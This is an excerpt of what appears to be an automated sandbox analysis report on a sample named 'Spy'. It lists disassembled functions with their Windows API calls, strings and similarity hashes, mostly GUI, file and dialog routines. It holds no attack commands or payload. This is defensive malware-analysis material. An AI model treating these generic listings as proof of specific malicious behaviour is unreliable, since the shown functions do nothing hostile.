_wcscmp.LIBCMT ref: 00ADBAC2
GetWindowTextW.USER32(00000001,?,00000400), ref: 00ADBAEA
CharUpperBuffW.USER32(?,00000000), ref: 00ADBB07
_wcscmp.LIBCMT ref: 00ADBB25
_wcsstr.LIBCMT ref: 00ADBB36
GetClassNameW.USER32(00000018,?,00000400), ref: 00ADBB6E
_wcscmp.LIBCMT ref: 00ADBB7E
GetWindowTextW.USER32(00000002,?,00000400), ref: 00ADBBA5
GetClassNameW.USER32(00000018,?,00000400), ref: 00ADBBEE
_wcscmp.LIBCMT ref: 00ADBBFE
GetClassNameW.USER32(00000010,?,00000400), ref: 00ADBC26
GetWindowRect.USER32(00000004,?), ref: 00ADBC8F

Strings

ThumbnailClass, xrefs: 00ADBB79, 00ADBBF9
@, xrefs: 00ADBA92

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ClassName_wcscmp$Window$Text$BuffCharRectUpper_wcsstr
String ID: @$ThumbnailClass
API String ID: 1788623398-1539354611
Opcode ID: bc5afa0a477f2c8201b6e781ea6aff91fb41bb39c70ab4122c692f83f9a05fc8
Instruction ID: 51b529b0486d6a12ba6f3113301bdb4dbd66d206577128c922ffda5938632bb8
Opcode Fuzzy Hash: bc5afa0a477f2c8201b6e781ea6aff91fb41bb39c70ab4122c692f83f9a05fc8
Instruction Fuzzy Hash: A2819E7102420ADFDB00DF14C985FAA77E8FF48354F14856AFD8A8A2A6DB30DD45CB61

Function 00ADB8B6 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00ADB915

Strings

ALL, xrefs: 00ADB9A9
HANDLE=, xrefs: 00ADB90E
ACTIVE, xrefs: 00ADB8F0
[LAST, xrefs: 00ADB9C2
[CLASS:, xrefs: 00ADB965
CLASSNAME=, xrefs: 00ADB952
LAST, xrefs: 00ADB8DA
[HANDLE:, xrefs: 00ADB921
[REGEXPTITLE:, xrefs: 00ADB93D
[ALL, xrefs: 00ADB9BB
REGEXP=, xrefs: 00ADB92A
[ACTIVE, xrefs: 00ADB902

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 04f4dd4c52ef9727e7445669f2bd464def5f8294d7f60b36faec0db7ecd43e0a
Instruction ID: 28fbd33f203f3f9cdae0e5b81a3c875ca82f34e6ff75eeddbb0faf15bec36fcd
Opcode Fuzzy Hash: 04f4dd4c52ef9727e7445669f2bd464def5f8294d7f60b36faec0db7ecd43e0a
Instruction Fuzzy Hash: D831A331A44206E6DF14EBA0CE63EAD73F4AF20790F700526F592711E1EF556E04C562

Function 00ADCB97 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00ADCBAA
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00ADCBBC
SetWindowTextW.USER32(?,?), ref: 00ADCBD3
GetDlgItem.USER32(?,000003EA), ref: 00ADCBE8
SetWindowTextW.USER32(00000000,?), ref: 00ADCBEE
GetDlgItem.USER32(?,000003E9), ref: 00ADCBFE
SetWindowTextW.USER32(00000000,?), ref: 00ADCC04
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00ADCC25
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00ADCC3F
GetWindowRect.USER32(?,?), ref: 00ADCC48
SetWindowTextW.USER32(?,?), ref: 00ADCCB3
GetDesktopWindow.USER32 ref: 00ADCCB9
GetWindowRect.USER32(00000000), ref: 00ADCCC0
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 00ADCD0C
GetClientRect.USER32(?,?), ref: 00ADCD19
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 00ADCD3E
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00ADCD69

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 618263bac747ad876b100270daac63873609a0a9c91effbc2a8e02668bc6418b
Instruction ID: 8d336c001b84c091b881cc34cd0555672313f5568e3585e2b568052a6e22cabe
Opcode Fuzzy Hash: 618263bac747ad876b100270daac63873609a0a9c91effbc2a8e02668bc6418b
Instruction Fuzzy Hash: 9051603090070AEFDB209FA8CE85BAEBBF5FF44715F404519E686A36A0CB74E954CB50

Function 00B0A7DE Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B0A87E
DestroyWindow.USER32(00000000,?), ref: 00B0A8F8

Part of subcall function 00A91821: _memmove.LIBCMT ref: 00A9185B

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00B0A972
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00B0A994
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B0A9A7
DestroyWindow.USER32(00000000), ref: 00B0A9C9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00A80000,00000000), ref: 00B0AA00
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00B0AA19
GetDesktopWindow.USER32 ref: 00B0AA32
GetWindowRect.USER32(00000000), ref: 00B0AA39
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00B0AA51
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00B0AA69

Part of subcall function 00A829AB: GetWindowLongW.USER32(?,000000EB), ref: 00A829BC

Strings

tooltips_class32, xrefs: 00B0A96B, 00B0A9F9
0, xrefs: 00B0A894

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: 9da8d01087bcd5ee2fb8949a7cc0192d768512cb0ef162ddc26c1047e2000442
Instruction ID: 40eb815d86a447cd3541e5ae9b31cb4eb52636e720373f6be0cca46fd3d4705e
Opcode Fuzzy Hash: 9da8d01087bcd5ee2fb8949a7cc0192d768512cb0ef162ddc26c1047e2000442
Instruction Fuzzy Hash: 21719871254304AFDB21DF28CC49FAA7BE5FB89300F54895DF986872A1DB70AA41CB52

Function 00B0CCA6 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00A829E2: GetWindowLongW.USER32(?,000000EB), ref: 00A829F3

DragQueryPoint.SHELL32(?,?), ref: 00B0CCCF

Part of subcall function 00B0B1A9: ClientToScreen.USER32(?,?), ref: 00B0B1D2
Part of subcall function 00B0B1A9: GetWindowRect.USER32(?,?), ref: 00B0B248
Part of subcall function 00B0B1A9: PtInRect.USER32(?,?,00B0C6BC), ref: 00B0B258

SendMessageW.USER32(?,000000B0,?,?), ref: 00B0CD38
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00B0CD43
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00B0CD66
_wcscat.LIBCMT ref: 00B0CD96
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00B0CDAD
SendMessageW.USER32(?,000000B0,?,?), ref: 00B0CDC6
SendMessageW.USER32(?,000000B1,?,?), ref: 00B0CDDD
SendMessageW.USER32(?,000000B1,?,?), ref: 00B0CDFF
DragFinish.SHELL32(?), ref: 00B0CE06
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00B0CEF9

Strings

@GUI_DRAGFILE, xrefs: 00B0CEA8
@GUI_DRAGID, xrefs: 00B0CE71
@GUI_DROPID, xrefs: 00B0CE26

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: f2df091e325f6b637e10bbeb1bba45bcd42b23a3f68a341df52c70bd31fb9eda
Instruction ID: e6d170d50f92e8664a11ae88cff43e8594ebbaf46cc44af7affe0e1ed84d2da3
Opcode Fuzzy Hash: f2df091e325f6b637e10bbeb1bba45bcd42b23a3f68a341df52c70bd31fb9eda
Instruction Fuzzy Hash: AD615972108301AFC701EF54DC85D9BBFE8EF89750F500A6EF595932A1DB70AA49CB52

Function 00AE82D5 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00AE831A
VariantCopy.OLEAUT32(00000000,?), ref: 00AE8323
VariantClear.OLEAUT32(00000000), ref: 00AE832F
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00AE841D
__swprintf.LIBCMT ref: 00AE844D
VarR8FromDec.OLEAUT32(?,?), ref: 00AE8479
VariantInit.OLEAUT32(?), ref: 00AE852A
SysFreeString.OLEAUT32(?), ref: 00AE85BE
VariantClear.OLEAUT32(?), ref: 00AE8618
VariantClear.OLEAUT32(?), ref: 00AE8627
VariantInit.OLEAUT32(00000000), ref: 00AE8665

Strings

Default, xrefs: 00AE84DA
%4d%02d%02d%02d%02d%02d, xrefs: 00AE8447

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: a81399a47fd8463f77d5f3e0fe5baade96bbd7e879a5b9f2e1f182912f969cd8
Instruction ID: 3c38e7e8fa04feac5b2f3c0a8426399f77af2eb9c7ba4dde494eb79b57a30320
Opcode Fuzzy Hash: a81399a47fd8463f77d5f3e0fe5baade96bbd7e879a5b9f2e1f182912f969cd8
Instruction Fuzzy Hash: C1D1E371604556EBDF20AFA6C894BAEB7B4FF05B00F248555E409AF290DF78EC40DBA1

Function 00B049CF Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00B04A61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00B04AAC

Strings

EXISTS, xrefs: 00B04B15
ISCHECKED, xrefs: 00B04C2F
GETTOTALCOUNT, xrefs: 00B04A93
UNCHECK, xrefs: 00B04C88
SELECT, xrefs: 00B04C5D
GETTEXT, xrefs: 00B04BFF
COLLAPSE, xrefs: 00B04AF2
GETITEMCOUNT, xrefs: 00B04B8E
GETSELECTED, xrefs: 00B04BBC
EXPAND, xrefs: 00B04B5E
CHECK, xrefs: 00B04ACC

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: dc74508d38a4936e7863fbfafb4e556f6e9b47f4492ca246f8836f88ac61c1a1
Instruction ID: 777f92c8f9cb109fa9700a28dc6388daa6586a727c796ef3957ef47ea404f1a9
Opcode Fuzzy Hash: dc74508d38a4936e7863fbfafb4e556f6e9b47f4492ca246f8836f88ac61c1a1
Instruction Fuzzy Hash: 92917C752047019FCB14EF20C691A6ABBE1EF98354F10889DF9965B3E2DB31ED49CB81

Function 00AEA27B Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00AEA2C2

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00AEA2E3
__swprintf.LIBCMT ref: 00AEA33C
__swprintf.LIBCMT ref: 00AEA355
_wprintf.LIBCMT ref: 00AEA3FC
_wprintf.LIBCMT ref: 00AEA41A

Strings

Incorrect parameters to object property !, xrefs: 00AEA39E
Line %d (File "%s"):, xrefs: 00AEA336, 00AEA34F
Error: , xrefs: 00AEA3C4
^ ERROR , xrefs: 00AEA391
"%s" (%d) : ==> %s:, xrefs: 00AEA415
"%s" (%d) : ==> %s:%s%s, xrefs: 00AEA3F7

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 51d8e60b76c2ee9eda58a5e00a97195303d947e64fd0ff2b82d5e6588005d82c
Instruction ID: 309d70fe4d6502b5399fc343005fe5e7c72fd03a4fd9c5e2b320d13e94422303
Opcode Fuzzy Hash: 51d8e60b76c2ee9eda58a5e00a97195303d947e64fd0ff2b82d5e6588005d82c
Instruction Fuzzy Hash: BE51A071A4011AAACF14EBE0CE46EEEB7B9AF14340F600165F505B20A2EF752F58DB61

Function 00AE0065 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000000,?,00ACF8B8,00000001,0000138C,00000001,00000000,00000001,?,00AF3FF9,00000000), ref: 00AE009A
LoadStringW.USER32(00000000,?,00ACF8B8,00000001), ref: 00AE00A3

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

GetModuleHandleW.KERNEL32(00000000,00B47310,?,00000FFF,?,?,00ACF8B8,00000001,0000138C,00000001,00000000,00000001,?,00AF3FF9,00000000,00000001), ref: 00AE00C5
LoadStringW.USER32(00000000,?,00ACF8B8,00000001), ref: 00AE00C8
__swprintf.LIBCMT ref: 00AE0118
__swprintf.LIBCMT ref: 00AE0129
_wprintf.LIBCMT ref: 00AE01D2
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00AE01E9

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00AE01CD
Line %d (File "%s"):, xrefs: 00AE0112
Error: , xrefs: 00AE01A0
Line %d:, xrefs: 00AE0123
^ ERROR, xrefs: 00AE017E

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 93bd56d9dd4b599c738b1e2b44661fc1ac4738b8e655da5053f60aefb3aa7e52
Instruction ID: 7f393948e8eaf700929f18964360d60b43e177602c14ba20d17ef65681e4312b
Opcode Fuzzy Hash: 93bd56d9dd4b599c738b1e2b44661fc1ac4738b8e655da5053f60aefb3aa7e52
Instruction Fuzzy Hash: 7A415F7294011AAACF14FBE0CE96DEEB7B8AF14341F600165F605B2092EF756F49CB61

Function 00AEA995 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00A84D37: __itow.LIBCMT ref: 00A84D62
Part of subcall function 00A84D37: __swprintf.LIBCMT ref: 00A84DAC

CharLowerBuffW.USER32(?,?), ref: 00AEAA0E
GetDriveTypeW.KERNEL32 ref: 00AEAA5B
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00AEAAA3
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00AEAADA
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00AEAB08

Part of subcall function 00A91821: _memmove.LIBCMT ref: 00A9185B

Strings

close, xrefs: 00AEAA14
open , xrefs: 00AEAA6A
closed, xrefs: 00AEAA22, 00AEAA2B
open, xrefs: 00AEAA35
set cd door , xrefs: 00AEAAA9
type cdaudio alias cd wait, xrefs: 00AEAA86
close cd wait, xrefs: 00AEAAF3
wait, xrefs: 00AEAAC5

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 2698844021-4113822522
Opcode ID: 8693ec1d3b1ae90a6feb91778cee2772f03a0b9f8034a192064432dc35310563
Instruction ID: feb7284aed6c57bfad79289366bcdc89e37fa44054858af76bce6e8135364957
Opcode Fuzzy Hash: 8693ec1d3b1ae90a6feb91778cee2772f03a0b9f8034a192064432dc35310563
Instruction Fuzzy Hash: 6B514B712043069FC700EF11CA92D6AB7E4FF98758F50896DF896972A1DB31AD05CB52

Function 00AEA832 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 102fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00AEA852
__swprintf.LIBCMT ref: 00AEA874
CreateDirectoryW.KERNEL32(?,00000000), ref: 00AEA8B1
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00AEA8D6
_memset.LIBCMT ref: 00AEA8F5
_wcsncpy.LIBCMT ref: 00AEA931
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00AEA966
CloseHandle.KERNEL32(00000000), ref: 00AEA971
RemoveDirectoryW.KERNEL32(?), ref: 00AEA97A
CloseHandle.KERNEL32(00000000), ref: 00AEA984

Strings

:, xrefs: 00AEA895
\??\%s, xrefs: 00AEA86E
\, xrefs: 00AEA88A

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 278dd66285e8fb19f8ab7963b2850513bc50d001ecfda4648b5a950c7dce7d80
Instruction ID: e00840882c301f945e3df0cede45ea05ea0e50739a3133c32825432e12e2e33c
Opcode Fuzzy Hash: 278dd66285e8fb19f8ab7963b2850513bc50d001ecfda4648b5a950c7dce7d80
Instruction Fuzzy Hash: FB31D27251024AABDB219FA1DC48FEB73BCEF89700F5041B6F508D30A1EB74A7848B25

Function 00B0C0A5 Relevance: 22.6, APIs: 15, Instructions: 130filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00B0982C,?,?), ref: 00B0C0C8
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00B0982C,?,?,00000000,?), ref: 00B0C0DF
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00B0982C,?,?,00000000,?), ref: 00B0C0EA
CloseHandle.KERNEL32(00000000,?,?,?,?,00B0982C,?,?,00000000,?), ref: 00B0C0F7
GlobalLock.KERNEL32(00000000), ref: 00B0C100
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,?,?,?,00B0982C,?,?,00000000,?), ref: 00B0C10F
GlobalUnlock.KERNEL32(00000000), ref: 00B0C118
CloseHandle.KERNEL32(00000000,?,?,?,?,00B0982C,?,?,00000000,?), ref: 00B0C11F
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,00B0982C,?,?,00000000,?), ref: 00B0C130
OleLoadPicture.OLEAUT32(?,00000000,00000000,00B13C7C,?), ref: 00B0C149
GlobalFree.KERNEL32(00000000), ref: 00B0C159
GetObjectW.GDI32(00000000,00000018,?), ref: 00B0C17D
CopyImage.USER32(00000000,00000000,?,?,00002000), ref: 00B0C1A8
DeleteObject.GDI32(00000000), ref: 00B0C1D0
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00B0C1E6

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 9bf057a9e07ebb255910939d1a9381b01c48d7a5555d239c3fc2bb69935fbaf3
Instruction ID: e308e16a440de1a3d5c1adcd6d6b90f21190f67d7fa8a1c9b173e296507fb409
Opcode Fuzzy Hash: 9bf057a9e07ebb255910939d1a9381b01c48d7a5555d239c3fc2bb69935fbaf3
Instruction Fuzzy Hash: F9414B75500208FFDB119F65DC88EAA7FB8EF89711F508158F905E72A0DB709981DB60

Function 00B0C854 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A829E2: GetWindowLongW.USER32(?,000000EB), ref: 00A829F3

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00B0C8A4
GetFocus.USER32 ref: 00B0C8B4
GetDlgCtrlID.USER32(00000000), ref: 00B0C8BF
_memset.LIBCMT ref: 00B0C9EA
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00B0CA15
GetMenuItemCount.USER32(?), ref: 00B0CA35
GetMenuItemID.USER32(?,00000000), ref: 00B0CA48
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00B0CA7C
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00B0CAC4
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00B0CAFC
